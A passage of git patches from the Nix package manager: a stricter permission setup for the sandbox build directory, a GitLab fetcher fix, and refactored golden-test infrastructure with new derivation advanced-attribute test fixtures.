b/src/libstore/unix/build/local-derivation-goal.hh @@ -65,6 +65,16 @@ struct LocalDerivationGoal : public DerivationGoal */ bool useChroot = false; + /** + * The parent directory of `chrootRootDir`. It has permission 700 + * and is owned by root to ensure other users cannot mess with + * `chrootRootDir`. + */ + Path chrootParentDir; + + /** + * The root of the chroot environment. + */ Path chrootRootDir; /** From 58b7b3fd15d09da983d34c5ac1acf6cba10887d8 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Tue, 14 May 2024 14:10:18 +0200 Subject: [PATCH 0869/1251] Formatting --- src/libutil/file-system.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc index cadcab96d..7b20e078b 100644 --- a/src/libutil/file-system.cc +++ b/src/libutil/file-system.cc @@ -412,7 +412,7 @@ void deletePath(const fs::path & path) deletePath(path, dummy); } -void createDir(const Path &path, mode_t mode) +void createDir(const Path & path, mode_t mode) { if (mkdir(path.c_str(), mode) == -1) throw SysError("creating directory '%1%'", path); From d54590fdf328ea2764cf79fcba72cbf091b38acf Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Tue, 14 May 2024 14:12:08 +0200 Subject: [PATCH 0870/1251] Fix --no-sandbox When sandboxing is disabled, we cannot put $TMPDIR underneath an inaccessible directory. --- src/libstore/unix/build/local-derivation-goal.cc | 11 ++++++++--- tests/functional/check.sh | 5 ++++- 2 files changed, 12 insertions(+), 4 deletions(-) diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc index d51a4817c..34b20925a 100644 --- a/src/libstore/unix/build/local-derivation-goal.cc +++ b/src/libstore/unix/build/local-derivation-goal.cc @@ -503,9 +503,14 @@ void LocalDerivationGoal::startBuilder() /* Create a temporary directory where the build will take place. */ - auto parentTmpDir = createTempDir(settings.buildDir.get().value_or(""), "nix-build-" + std::string(drvPath.name()), false, false, 0700); - tmpDir = parentTmpDir + "/build"; - createDir(tmpDir, 0700); + tmpDir = createTempDir(settings.buildDir.get().value_or(""), "nix-build-" + std::string(drvPath.name()), false, false, 0700); + if (useChroot) { + /* If sandboxing is enabled, put the actual TMPDIR underneath + an inaccessible root-owned directory, to prevent outside + access. */ + tmpDir = tmpDir + "/build"; + createDir(tmpDir, 0700); + } chownToBuilder(tmpDir); for (auto & [outputName, status] : initialOutputs) { diff --git a/tests/functional/check.sh b/tests/functional/check.sh index a5e61b035..7b70d6aef 100755 --- a/tests/functional/check.sh +++ b/tests/functional/check.sh @@ -46,7 +46,10 @@ test_custom_build_dir() { --no-out-link --keep-failed --option build-dir "$TEST_ROOT/custom-build-dir" 2> $TEST_ROOT/log || status=$? [ "$status" = "100" ] [[ 1 == "$(count "$customBuildDir/nix-build-"*)" ]] - local buildDir="$customBuildDir/nix-build-"*"/build" + local buildDir="$customBuildDir/nix-build-"*"" + if [[ -e $buildDir/build ]]; then + buildDir=$buildDir/build + fi grep $checkBuildId $buildDir/checkBuildId } test_custom_build_dir From 0468061dd2f9e70042b0bd0b4bf503c54637fd1a Mon Sep 17 00:00:00 2001 From: Shogo Takata Date: Sun, 23 Jun 2024 00:52:19 +0900 Subject: [PATCH 0871/1251] accept response from gitlab with more than one entry --- src/libfetchers/github.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libfetchers/github.cc b/src/libfetchers/github.cc index 267e8607f..ddb41e63f 100644 --- a/src/libfetchers/github.cc +++ b/src/libfetchers/github.cc @@ -433,7 +433,7 @@ struct GitLabInputScheme : GitArchiveInputScheme store->toRealPath( downloadFile(store, url, "source", headers).storePath))); - if (json.is_array() && json.size() == 1 && json[0]["id"] != nullptr) { + if (json.is_array() && json.size() >= 1 && json[0]["id"] != nullptr) { return RefInfo { .rev = Hash::parseAny(std::string(json[0]["id"]), HashAlgorithm::SHA1) }; From 490ca93cf886f046939ba4511dd88e5eb5dcddbc Mon Sep 17 00:00:00 2001 From: John Ericson Date: Sun, 23 Jun 2024 15:33:45 -0400 Subject: [PATCH 0872/1251] Factor out a bit more language testings infra Will be used in a second test after `lang.sh`. --- maintainers/flake-module.nix | 3 +- ...nfra.sh => characterisation-test-infra.sh} | 2 +- .../empty.exp => characterisation/empty} | 0 .../functional/characterisation/framework.sh | 77 +++++++++++++++++++ tests/functional/lang.sh | 32 +------- tests/functional/lang/framework.sh | 33 -------- tests/functional/local.mk | 2 +- 7 files changed, 82 insertions(+), 67 deletions(-) rename tests/functional/{lang-test-infra.sh => characterisation-test-infra.sh} (98%) rename tests/functional/{lang/empty.exp => characterisation/empty} (100%) create mode 100644 tests/functional/characterisation/framework.sh delete mode 100644 tests/functional/lang/framework.sh diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix index b1d21e8fe..0bd353f1a 100644 --- a/maintainers/flake-module.nix +++ b/maintainers/flake-module.nix @@ -522,6 +522,7 @@ ''^tests/functional/ca/repl\.sh$'' ''^tests/functional/ca/selfref-gc\.sh$'' ''^tests/functional/ca/why-depends\.sh$'' + ''^tests/functional/characterisation-test-infra\.sh$'' ''^tests/functional/check\.sh$'' ''^tests/functional/common/vars-and-functions\.sh$'' ''^tests/functional/completions\.sh$'' @@ -579,9 +580,7 @@ ''^tests/functional/impure-env\.sh$'' ''^tests/functional/impure-eval\.sh$'' ''^tests/functional/install-darwin\.sh$'' - ''^tests/functional/lang-test-infra\.sh$'' ''^tests/functional/lang\.sh$'' - ''^tests/functional/lang/framework\.sh$'' ''^tests/functional/legacy-ssh-store\.sh$'' ''^tests/functional/linux-sandbox\.sh$'' ''^tests/functional/local-overlay-store/add-lower-inner\.sh$'' diff --git a/tests/functional/lang-test-infra.sh b/tests/functional/characterisation-test-infra.sh similarity index 98% rename from tests/functional/lang-test-infra.sh rename to tests/functional/characterisation-test-infra.sh index f32ccef05..279454550 100755 --- a/tests/functional/lang-test-infra.sh +++ b/tests/functional/characterisation-test-infra.sh @@ -3,7 +3,7 @@ # Test the function for lang.sh source common.sh -source lang/framework.sh +source characterisation/framework.sh # We are testing this, so don't want outside world to affect us. unset _NIX_TEST_ACCEPT diff --git a/tests/functional/lang/empty.exp b/tests/functional/characterisation/empty similarity index 100% rename from tests/functional/lang/empty.exp rename to tests/functional/characterisation/empty diff --git a/tests/functional/characterisation/framework.sh b/tests/functional/characterisation/framework.sh new file mode 100644 index 000000000..913fdd967 --- /dev/null +++ b/tests/functional/characterisation/framework.sh @@ -0,0 +1,77 @@ +# shellcheck shell=bash + +# Golden test support +# +# Test that the output of the given test matches what is expected. If +# `_NIX_TEST_ACCEPT` is non-empty also update the expected output so +# that next time the test succeeds. +function diffAndAcceptInner() { + local -r testName=$1 + local -r got="$2" + local -r expected="$3" + + # Absence of expected file indicates empty output expected. + if test -e "$expected"; then + local -r expectedOrEmpty="$expected" + else + local -r expectedOrEmpty=characterisation/empty + fi + + # Diff so we get a nice message + if ! diff --color=always --unified "$expectedOrEmpty" "$got"; then + echo "FAIL: evaluation result of $testName not as expected" + # shellcheck disable=SC2034 + badDiff=1 + fi + + # Update expected if `_NIX_TEST_ACCEPT` is non-empty. + if test -n "${_NIX_TEST_ACCEPT-}"; then + cp "$got" "$expected" + # Delete empty expected files to avoid bloating the repo with + # empty files. + if ! test -s "$expected"; then + rm "$expected" + fi + fi +} + +function characterisationTestExit() { + # Make sure shellcheck knows all these will be defined by the caller + : "${badDiff?} ${badExitCode?}" + + if test -n "${_NIX_TEST_ACCEPT-}"; then + if (( "$badDiff" )); then + set +x + echo 'Output did mot match, but accepted output as the persisted expected output.' + echo 'That means the next time the tests are run, they should pass.' + set -x + else + set +x + echo 'NOTE: Environment variable _NIX_TEST_ACCEPT is defined,' + echo 'indicating the unexpected output should be accepted as the expected output going forward,' + echo 'but no tests had unexpected output so there was no expected output to update.' + set -x + fi + if (( "$badExitCode" )); then + exit "$badExitCode" + else + skipTest "regenerating golden masters" + fi + else + if (( "$badDiff" )); then + set +x + echo '' + echo 'You can rerun this test with:' + echo '' + echo " _NIX_TEST_ACCEPT=1 make tests/functional/${TEST_NAME}.test" + echo '' + echo 'to regenerate the files containing the expected output,' + echo 'and then view the git diff to decide whether a change is' + echo 'good/intentional or bad/unintentional.' + echo 'If the diff contains arbitrary or impure information,' + echo 'please improve the normalization that the test applies to the output.' + set -x + fi + exit $(( "$badExitCode" + "$badDiff" )) + fi +} diff --git a/tests/functional/lang.sh b/tests/functional/lang.sh index 569e7082e..8cb8e98fb 100755 --- a/tests/functional/lang.sh +++ b/tests/functional/lang.sh @@ -4,7 +4,7 @@ source common.sh set -o pipefail -source lang/framework.sh +source characterisation/framework.sh # specialize function a bit function diffAndAccept() { @@ -138,32 +138,4 @@ for i in lang/eval-okay-*.nix; do fi done -if test -n "${_NIX_TEST_ACCEPT-}"; then - if (( "$badDiff" )); then - echo 'Output did mot match, but accepted output as the persisted expected output.' - echo 'That means the next time the tests are run, they should pass.' - else - echo 'NOTE: Environment variable _NIX_TEST_ACCEPT is defined,' - echo 'indicating the unexpected output should be accepted as the expected output going forward,' - echo 'but no tests had unexpected output so there was no expected output to update.' - fi - if (( "$badExitCode" )); then - exit "$badExitCode" - else - skipTest "regenerating golden masters" - fi -else - if (( "$badDiff" )); then - echo '' - echo 'You can rerun this test with:' - echo '' - echo ' _NIX_TEST_ACCEPT=1 make tests/functional/lang.sh.test' - echo '' - echo 'to regenerate the files containing the expected output,' - echo 'and then view the git diff to decide whether a change is' - echo 'good/intentional or bad/unintentional.' - echo 'If the diff contains arbitrary or impure information,' - echo 'please improve the normalization that the test applies to the output.' - fi - exit $(( "$badExitCode" + "$badDiff" )) -fi +characterisationTestExit diff --git a/tests/functional/lang/framework.sh b/tests/functional/lang/framework.sh deleted file mode 100644 index 9b886e983..000000000 --- a/tests/functional/lang/framework.sh +++ /dev/null @@ -1,33 +0,0 @@ -# Golden test support -# -# Test that the output of the given test matches what is expected. If -# `_NIX_TEST_ACCEPT` is non-empty also update the expected output so -# that next time the test succeeds. -function diffAndAcceptInner() { - local -r testName=$1 - local -r got="$2" - local -r expected="$3" - - # Absence of expected file indicates empty output expected. - if test -e "$expected"; then - local -r expectedOrEmpty="$expected" - else - local -r expectedOrEmpty=lang/empty.exp - fi - - # Diff so we get a nice message - if ! diff --color=always --unified "$expectedOrEmpty" "$got"; then - echo "FAIL: evaluation result of $testName not as expected" - badDiff=1 - fi - - # Update expected if `_NIX_TEST_ACCEPT` is non-empty. - if test -n "${_NIX_TEST_ACCEPT-}"; then - cp "$got" "$expected" - # Delete empty expected files to avoid bloating the repo with - # empty files. - if ! test -s "$expected"; then - rm "$expected" - fi - fi -} diff --git a/tests/functional/local.mk b/tests/functional/local.mk index b379eeefe..7e4536323 100644 --- a/tests/functional/local.mk +++ b/tests/functional/local.mk @@ -23,7 +23,7 @@ nix_tests = \ remote-store.sh \ legacy-ssh-store.sh \ lang.sh \ - lang-test-infra.sh \ + characterisation-test-infra.sh \ experimental-features.sh \ fetchMercurial.sh \ gc-auto.sh \ From 9f9984e4d07c3176a1781b2149ba7488383ddcde Mon Sep 17 00:00:00 2001 From: HaeNoe Date: Sat, 8 Jun 2024 13:10:51 +0200 Subject: [PATCH 0873/1251] Functional test for derivation "advanced attrs" This tests the Nix language side of things. We are purposely skipping most of `common.sh` because it is overkill for this test: we don't want to have an "overfit" test environment. Co-Authored-By: John Ericson --- tests/functional/common/paths.sh | 20 +++++++++ tests/functional/common/subst-vars.sh.in | 8 +++- tests/functional/common/test-root.sh | 4 ++ tests/functional/common/vars-and-functions.sh | 14 ++---- .../derivation-advanced-attributes.sh | 23 ++++++++++ .../advanced-attributes-defaults.drv | 1 + .../advanced-attributes-defaults.nix | 6 +++ ...d-attributes-structured-attrs-defaults.drv | 1 + ...d-attributes-structured-attrs-defaults.nix | 8 ++++ .../advanced-attributes-structured-attrs.drv | 1 + .../advanced-attributes-structured-attrs.nix | 45 +++++++++++++++++++ .../derivation/advanced-attributes.drv | 1 + .../derivation/advanced-attributes.nix | 33 ++++++++++++++ tests/functional/local.mk | 1 + 14 files changed, 155 insertions(+), 11 deletions(-) create mode 100644 tests/functional/common/paths.sh create mode 100644 tests/functional/common/test-root.sh create mode 100755 tests/functional/derivation-advanced-attributes.sh create mode 100644 tests/functional/derivation/advanced-attributes-defaults.drv create mode 100644 tests/functional/derivation/advanced-attributes-defaults.nix create mode 100644 tests/functional/derivation/advanced-attributes-structured-attrs-defaults.drv create mode 100644 tests/functional/derivation/advanced-attributes-structured-attrs-defaults.nix create mode 100644 tests/functional/derivation/advanced-attributes-structured-attrs.drv create mode 100644 tests/functional/derivation/advanced-attributes-structured-attrs.nix create mode 100644 tests/functional/derivation/advanced-attributes.drv create mode 100644 tests/functional/derivation/advanced-attributes.nix diff --git a/tests/functional/common/paths.sh b/tests/functional/common/paths.sh new file mode 100644 index 000000000..938b90899 --- /dev/null +++ b/tests/functional/common/paths.sh @@ -0,0 +1,20 @@ +# shellcheck shell=bash + +commonDir="$(readlink -f "$(dirname "${BASH_SOURCE[0]-$0}")")" + +# Since this is a generated file +# shellcheck disable=SC1091 +source "$commonDir/subst-vars.sh" +# Make sure shellcheck knows this will be defined by the above generated snippet +: "${bindir?}" + +export PATH="$bindir:$PATH" + +if [[ -n "${NIX_CLIENT_PACKAGE:-}" ]]; then + export PATH="$NIX_CLIENT_PACKAGE/bin":$PATH +fi + +DAEMON_PATH="$PATH" +if [[ -n "${NIX_DAEMON_PACKAGE:-}" ]]; then + DAEMON_PATH="${NIX_DAEMON_PACKAGE}/bin:$DAEMON_PATH" +fi diff --git a/tests/functional/common/subst-vars.sh.in b/tests/functional/common/subst-vars.sh.in index 4105e9f35..cd89a0033 100644 --- a/tests/functional/common/subst-vars.sh.in +++ b/tests/functional/common/subst-vars.sh.in @@ -1,6 +1,10 @@ # NOTE: instances of @variable@ are substituted as defined in /mk/templates.mk -export PATH=@bindir@:$PATH +if [[ -z "${COMMON_SUBST_VARS_SH_SOURCED-}" ]]; then + +COMMON_SUBST_VARS_SH_SOURCED=1 + +bindir=@bindir@ export coreutils=@coreutils@ #lsof=@lsof@ @@ -13,3 +17,5 @@ export version=@PACKAGE_VERSION@ export system=@system@ export BUILD_SHARED_LIBS=@BUILD_SHARED_LIBS@ + +fi diff --git a/tests/functional/common/test-root.sh b/tests/functional/common/test-root.sh new file mode 100644 index 000000000..b50a06267 --- /dev/null +++ b/tests/functional/common/test-root.sh @@ -0,0 +1,4 @@ +# shellcheck shell=bash + +TEST_ROOT=$(realpath "${TMPDIR:-/tmp}/nix-test")/${TEST_NAME:-default/tests\/functional//} +export TEST_ROOT diff --git a/tests/functional/common/vars-and-functions.sh b/tests/functional/common/vars-and-functions.sh index ad5b29a94..f6ccf9941 100644 --- a/tests/functional/common/vars-and-functions.sh +++ b/tests/functional/common/vars-and-functions.sh @@ -12,9 +12,11 @@ commonDir="$(readlink -f "$(dirname "${BASH_SOURCE[0]-$0}")")" source "$commonDir/subst-vars.sh" # Make sure shellcheck knows all these will be defined by the above generated snippet -: "${PATH?} ${coreutils?} ${dot?} ${SHELL?} ${PAGER?} ${busybox?} ${version?} ${system?} ${BUILD_SHARED_LIBS?}" +: "${bindir?} ${coreutils?} ${dot?} ${SHELL?} ${PAGER?} ${busybox?} ${version?} ${system?} ${BUILD_SHARED_LIBS?}" + +source "$commonDir/paths.sh" +source "$commonDir/test-root.sh" -export TEST_ROOT=$(realpath ${TMPDIR:-/tmp}/nix-test)/${TEST_NAME:-default/tests\/functional//} export NIX_STORE_DIR if ! NIX_STORE_DIR=$(readlink -f $TEST_ROOT/store 2> /dev/null); then # Maybe the build directory is symlinked. @@ -43,14 +45,6 @@ unset XDG_CONFIG_HOME unset XDG_CONFIG_DIRS unset XDG_CACHE_HOME -if [[ -n "${NIX_CLIENT_PACKAGE:-}" ]]; then - export PATH="$NIX_CLIENT_PACKAGE/bin":$PATH -fi -DAEMON_PATH="$PATH" -if [[ -n "${NIX_DAEMON_PACKAGE:-}" ]]; then - DAEMON_PATH="${NIX_DAEMON_PACKAGE}/bin:$DAEMON_PATH" -fi - export IMPURE_VAR1=foo export IMPURE_VAR2=bar diff --git a/tests/functional/derivation-advanced-attributes.sh b/tests/functional/derivation-advanced-attributes.sh new file mode 100755 index 000000000..6c0c76b4c --- /dev/null +++ b/tests/functional/derivation-advanced-attributes.sh @@ -0,0 +1,23 @@ +#!/usr/bin/env bash + +source common/test-root.sh +source common/paths.sh + +set -o pipefail + +source characterisation/framework.sh + +badDiff=0 +badExitCode=0 + +store="$TEST_ROOT/store" + +for nixFile in derivation/*.nix; do + drvPath=$(nix-instantiate --store "$store" --pure-eval --expr "$(< "$nixFile")") + testName=$(basename "$nixFile" .nix) + got="${store}${drvPath}" + expected="derivation/$testName.drv" + diffAndAcceptInner "$testName" "$got" "$expected" +done + +characterisationTestExit diff --git a/tests/functional/derivation/advanced-attributes-defaults.drv b/tests/functional/derivation/advanced-attributes-defaults.drv new file mode 100644 index 000000000..391c6ab80 --- /dev/null +++ b/tests/functional/derivation/advanced-attributes-defaults.drv @@ -0,0 +1 @@ +Derive([("out","/nix/store/1qsc7svv43m4dw2prh6mvyf7cai5czji-advanced-attributes-defaults","","")],[],[],"my-system","/bin/bash",["-c","echo hello > $out"],[("builder","/bin/bash"),("name","advanced-attributes-defaults"),("out","/nix/store/1qsc7svv43m4dw2prh6mvyf7cai5czji-advanced-attributes-defaults"),("system","my-system")]) \ No newline at end of file diff --git a/tests/functional/derivation/advanced-attributes-defaults.nix b/tests/functional/derivation/advanced-attributes-defaults.nix new file mode 100644 index 000000000..51a8d0e7e --- /dev/null +++ b/tests/functional/derivation/advanced-attributes-defaults.nix @@ -0,0 +1,6 @@ +derivation { + name = "advanced-attributes-defaults"; + system = "my-system"; + builder = "/bin/bash"; + args = [ "-c" "echo hello > $out" ]; +} diff --git a/tests/functional/derivation/advanced-attributes-structured-attrs-defaults.drv b/tests/functional/derivation/advanced-attributes-structured-attrs-defaults.drv new file mode 100644 index 000000000..9dd402057 --- /dev/null +++ b/tests/functional/derivation/advanced-attributes-structured-attrs-defaults.drv @@ -0,0 +1 @@ +Derive([("dev","/nix/store/8bazivnbipbyi569623skw5zm91z6kc2-advanced-attributes-structured-attrs-defaults-dev","",""),("out","/nix/store/f8f8nvnx32bxvyxyx2ff7akbvwhwd9dw-advanced-attributes-structured-attrs-defaults","","")],[],[],"my-system","/bin/bash",["-c","echo hello > $out"],[("__json","{\"builder\":\"/bin/bash\",\"name\":\"advanced-attributes-structured-attrs-defaults\",\"outputs\":[\"out\",\"dev\"],\"system\":\"my-system\"}"),("dev","/nix/store/8bazivnbipbyi569623skw5zm91z6kc2-advanced-attributes-structured-attrs-defaults-dev"),("out","/nix/store/f8f8nvnx32bxvyxyx2ff7akbvwhwd9dw-advanced-attributes-structured-attrs-defaults")]) \ No newline at end of file diff --git a/tests/functional/derivation/advanced-attributes-structured-attrs-defaults.nix b/tests/functional/derivation/advanced-attributes-structured-attrs-defaults.nix new file mode 100644 index 000000000..0c13a7691 --- /dev/null +++ b/tests/functional/derivation/advanced-attributes-structured-attrs-defaults.nix @@ -0,0 +1,8 @@ +derivation { + name = "advanced-attributes-structured-attrs-defaults"; + system = "my-system"; + builder = "/bin/bash"; + args = [ "-c" "echo hello > $out" ]; + outputs = [ "out" "dev" ]; + __structuredAttrs = true; +} diff --git a/tests/functional/derivation/advanced-attributes-structured-attrs.drv b/tests/functional/derivation/advanced-attributes-structured-attrs.drv new file mode 100644 index 000000000..e47a41ad5 --- /dev/null +++ b/tests/functional/derivation/advanced-attributes-structured-attrs.drv @@ -0,0 +1 @@ +Derive([("bin","/nix/store/pbzb48v0ycf80jgligcp4n8z0rblna4n-advanced-attributes-structured-attrs-bin","",""),("dev","/nix/store/7xapi8jv7flcz1qq8jhw55ar8ag8hldh-advanced-attributes-structured-attrs-dev","",""),("out","/nix/store/mpq3l1l1qc2yr50q520g08kprprwv79f-advanced-attributes-structured-attrs","","")],[("/nix/store/4xm4wccqsvagz9gjksn24s7rip2fdy7v-foo.drv",["out"]),("/nix/store/plsq5jbr5nhgqwcgb2qxw7jchc09dnl8-bar.drv",["out"])],[],"my-system","/bin/bash",["-c","echo hello > $out"],[("__json","{\"__darwinAllowLocalNetworking\":true,\"__impureHostDeps\":[\"/usr/bin/ditto\"],\"__noChroot\":true,\"__sandboxProfile\":\"sandcastle\",\"allowSubstitutes\":false,\"builder\":\"/bin/bash\",\"impureEnvVars\":[\"UNICORN\"],\"name\":\"advanced-attributes-structured-attrs\",\"outputChecks\":{\"bin\":{\"disallowedReferences\":[\"/nix/store/7rhsm8i393hm1wcsmph782awg1hi2f7x-bar\"],\"disallowedRequisites\":[\"/nix/store/7rhsm8i393hm1wcsmph782awg1hi2f7x-bar\"]},\"dev\":{\"maxClosureSize\":5909,\"maxSize\":789},\"out\":{\"allowedReferences\":[\"/nix/store/3c08bzb71z4wiag719ipjxr277653ynp-foo\"],\"allowedRequisites\":[\"/nix/store/3c08bzb71z4wiag719ipjxr277653ynp-foo\"]}},\"outputs\":[\"out\",\"bin\",\"dev\"],\"preferLocalBuild\":true,\"requiredSystemFeatures\":[\"rainbow\",\"uid-range\"],\"system\":\"my-system\"}"),("bin","/nix/store/pbzb48v0ycf80jgligcp4n8z0rblna4n-advanced-attributes-structured-attrs-bin"),("dev","/nix/store/7xapi8jv7flcz1qq8jhw55ar8ag8hldh-advanced-attributes-structured-attrs-dev"),("out","/nix/store/mpq3l1l1qc2yr50q520g08kprprwv79f-advanced-attributes-structured-attrs")]) \ No newline at end of file diff --git a/tests/functional/derivation/advanced-attributes-structured-attrs.nix b/tests/functional/derivation/advanced-attributes-structured-attrs.nix new file mode 100644 index 000000000..0044b65fd --- /dev/null +++ b/tests/functional/derivation/advanced-attributes-structured-attrs.nix @@ -0,0 +1,45 @@ +let + system = "my-system"; + foo = derivation { + inherit system; + name = "foo"; + builder = "/bin/bash"; + args = ["-c" "echo foo > $out"]; + }; + bar = derivation { + inherit system; + name = "bar"; + builder = "/bin/bash"; + args = ["-c" "echo bar > $out"]; + }; +in +derivation { + inherit system; + name = "advanced-attributes-structured-attrs"; + builder = "/bin/bash"; + args = [ "-c" "echo hello > $out" ]; + __sandboxProfile = "sandcastle"; + __noChroot = true; + __impureHostDeps = ["/usr/bin/ditto"]; + impureEnvVars = ["UNICORN"]; + __darwinAllowLocalNetworking = true; + outputs = [ "out" "bin" "dev" ]; + __structuredAttrs = true; + outputChecks = { + out = { + allowedReferences = [foo]; + allowedRequisites = [foo]; + }; + bin = { + disallowedReferences = [bar]; + disallowedRequisites = [bar]; + }; + dev = { + maxSize = 789; + maxClosureSize = 5909; + }; + }; + requiredSystemFeatures = ["rainbow" "uid-range"]; + preferLocalBuild = true; + allowSubstitutes = false; +} diff --git a/tests/functional/derivation/advanced-attributes.drv b/tests/functional/derivation/advanced-attributes.drv new file mode 100644 index 000000000..ec3112ab2 --- /dev/null +++ b/tests/functional/derivation/advanced-attributes.drv @@ -0,0 +1 @@ +Derive([("out","/nix/store/33a6fdmn8q9ih9d7npbnrxn2q56a4l8q-advanced-attributes","","")],[("/nix/store/4xm4wccqsvagz9gjksn24s7rip2fdy7v-foo.drv",["out"]),("/nix/store/plsq5jbr5nhgqwcgb2qxw7jchc09dnl8-bar.drv",["out"])],[],"my-system","/bin/bash",["-c","echo hello > $out"],[("__darwinAllowLocalNetworking","1"),("__impureHostDeps","/usr/bin/ditto"),("__noChroot","1"),("__sandboxProfile","sandcastle"),("allowSubstitutes",""),("allowedReferences","/nix/store/3c08bzb71z4wiag719ipjxr277653ynp-foo"),("allowedRequisites","/nix/store/3c08bzb71z4wiag719ipjxr277653ynp-foo"),("builder","/bin/bash"),("disallowedReferences","/nix/store/7rhsm8i393hm1wcsmph782awg1hi2f7x-bar"),("disallowedRequisites","/nix/store/7rhsm8i393hm1wcsmph782awg1hi2f7x-bar"),("impureEnvVars","UNICORN"),("name","advanced-attributes"),("out","/nix/store/33a6fdmn8q9ih9d7npbnrxn2q56a4l8q-advanced-attributes"),("preferLocalBuild","1"),("requiredSystemFeatures","rainbow uid-range"),("system","my-system")]) \ No newline at end of file diff --git a/tests/functional/derivation/advanced-attributes.nix b/tests/functional/derivation/advanced-attributes.nix new file mode 100644 index 000000000..ff680c567 --- /dev/null +++ b/tests/functional/derivation/advanced-attributes.nix @@ -0,0 +1,33 @@ +let + system = "my-system"; + foo = derivation { + inherit system; + name = "foo"; + builder = "/bin/bash"; + args = ["-c" "echo foo > $out"]; + }; + bar = derivation { + inherit system; + name = "bar"; + builder = "/bin/bash"; + args = ["-c" "echo bar > $out"]; + }; +in +derivation { + inherit system; + name = "advanced-attributes"; + builder = "/bin/bash"; + args = [ "-c" "echo hello > $out" ]; + __sandboxProfile = "sandcastle"; + __noChroot = true; + __impureHostDeps = ["/usr/bin/ditto"]; + impureEnvVars = ["UNICORN"]; + __darwinAllowLocalNetworking = true; + allowedReferences = [foo]; + allowedRequisites = [foo]; + disallowedReferences = [bar]; + disallowedRequisites = [bar]; + requiredSystemFeatures = ["rainbow" "uid-range"]; + preferLocalBuild = true; + allowSubstitutes = false; +} diff --git a/tests/functional/local.mk b/tests/functional/local.mk index 7e4536323..49ee31284 100644 --- a/tests/functional/local.mk +++ b/tests/functional/local.mk @@ -106,6 +106,7 @@ nix_tests = \ eval-store.sh \ why-depends.sh \ derivation-json.sh \ + derivation-advanced-attributes.sh \ import-derivation.sh \ nix_path.sh \ case-hack.sh \ From 7fb14201afdeebc1327ff3ca75dcb4657c51cdc8 Mon Sep 17 00:00:00 2001 From: HaeNoe Date: Sat, 8 Jun 2024 13:10:51 +0200 Subject: [PATCH 0874/1251] Unit test for derivation "advanced attrs" This tests the parser and JSON format using the DRV files from the tests added in the previous commit. Co-Authored-By: John Ericson --- maintainers/flake-module.nix | 1 - tests/unit/libstore-support/tests/libstore.hh | 30 ++- .../advanced-attributes-defaults.drv | 1 + .../advanced-attributes-defaults.json | 22 ++ ...d-attributes-structured-attrs-defaults.drv | 1 + ...-attributes-structured-attrs-defaults.json | 24 ++ .../advanced-attributes-structured-attrs.drv | 1 + .../advanced-attributes-structured-attrs.json | 41 +++ .../data/derivation/advanced-attributes.drv | 1 + .../libstore/derivation-advanced-attrs.cc | 234 ++++++++++++++++++ .../libutil-support/tests/characterization.hh | 1 + 11 files changed, 345 insertions(+), 12 deletions(-) create mode 120000 tests/unit/libstore/data/derivation/advanced-attributes-defaults.drv create mode 100644 tests/unit/libstore/data/derivation/advanced-attributes-defaults.json create mode 120000 tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.drv create mode 100644 tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.json create mode 120000 tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.drv create mode 100644 tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.json create mode 120000 tests/unit/libstore/data/derivation/advanced-attributes.drv create mode 100644 tests/unit/libstore/derivation-advanced-attrs.cc diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix index 0bd353f1a..5e4291fcb 100644 --- a/maintainers/flake-module.nix +++ b/maintainers/flake-module.nix @@ -447,7 +447,6 @@ ''^tests/unit/libfetchers/public-key\.cc'' ''^tests/unit/libstore-support/tests/derived-path\.cc'' ''^tests/unit/libstore-support/tests/derived-path\.hh'' - ''^tests/unit/libstore-support/tests/libstore\.hh'' ''^tests/unit/libstore-support/tests/nix_api_store\.hh'' ''^tests/unit/libstore-support/tests/outputs-spec\.cc'' ''^tests/unit/libstore-support/tests/outputs-spec\.hh'' diff --git a/tests/unit/libstore-support/tests/libstore.hh b/tests/unit/libstore-support/tests/libstore.hh index 267188224..84be52c23 100644 --- a/tests/unit/libstore-support/tests/libstore.hh +++ b/tests/unit/libstore-support/tests/libstore.hh @@ -8,19 +8,27 @@ namespace nix { -class LibStoreTest : public virtual ::testing::Test { - public: - static void SetUpTestSuite() { - initLibStore(false); - } +class LibStoreTest : public virtual ::testing::Test +{ +public: + static void SetUpTestSuite() + { + initLibStore(false); + } - protected: - LibStoreTest() - : store(openStore("dummy://")) - { } +protected: + LibStoreTest() + : store(openStore({ + .variant = + StoreReference::Specified{ + .scheme = "dummy", + }, + .params = {}, + })) + { + } - ref store; + ref store; }; - } /* namespace nix */ diff --git a/tests/unit/libstore/data/derivation/advanced-attributes-defaults.drv b/tests/unit/libstore/data/derivation/advanced-attributes-defaults.drv new file mode 120000 index 000000000..353090ad8 --- /dev/null +++ b/tests/unit/libstore/data/derivation/advanced-attributes-defaults.drv @@ -0,0 +1 @@ +../../../../functional/derivation/advanced-attributes-defaults.drv \ No newline at end of file diff --git a/tests/unit/libstore/data/derivation/advanced-attributes-defaults.json b/tests/unit/libstore/data/derivation/advanced-attributes-defaults.json new file mode 100644 index 000000000..d58e7d5b5 --- /dev/null +++ b/tests/unit/libstore/data/derivation/advanced-attributes-defaults.json @@ -0,0 +1,22 @@ +{ + "args": [ + "-c", + "echo hello > $out" + ], + "builder": "/bin/bash", + "env": { + "builder": "/bin/bash", + "name": "advanced-attributes-defaults", + "out": "/nix/store/1qsc7svv43m4dw2prh6mvyf7cai5czji-advanced-attributes-defaults", + "system": "my-system" + }, + "inputDrvs": {}, + "inputSrcs": [], + "name": "advanced-attributes-defaults", + "outputs": { + "out": { + "path": "/nix/store/1qsc7svv43m4dw2prh6mvyf7cai5czji-advanced-attributes-defaults" + } + }, + "system": "my-system" +} diff --git a/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.drv b/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.drv new file mode 120000 index 000000000..11713da12 --- /dev/null +++ 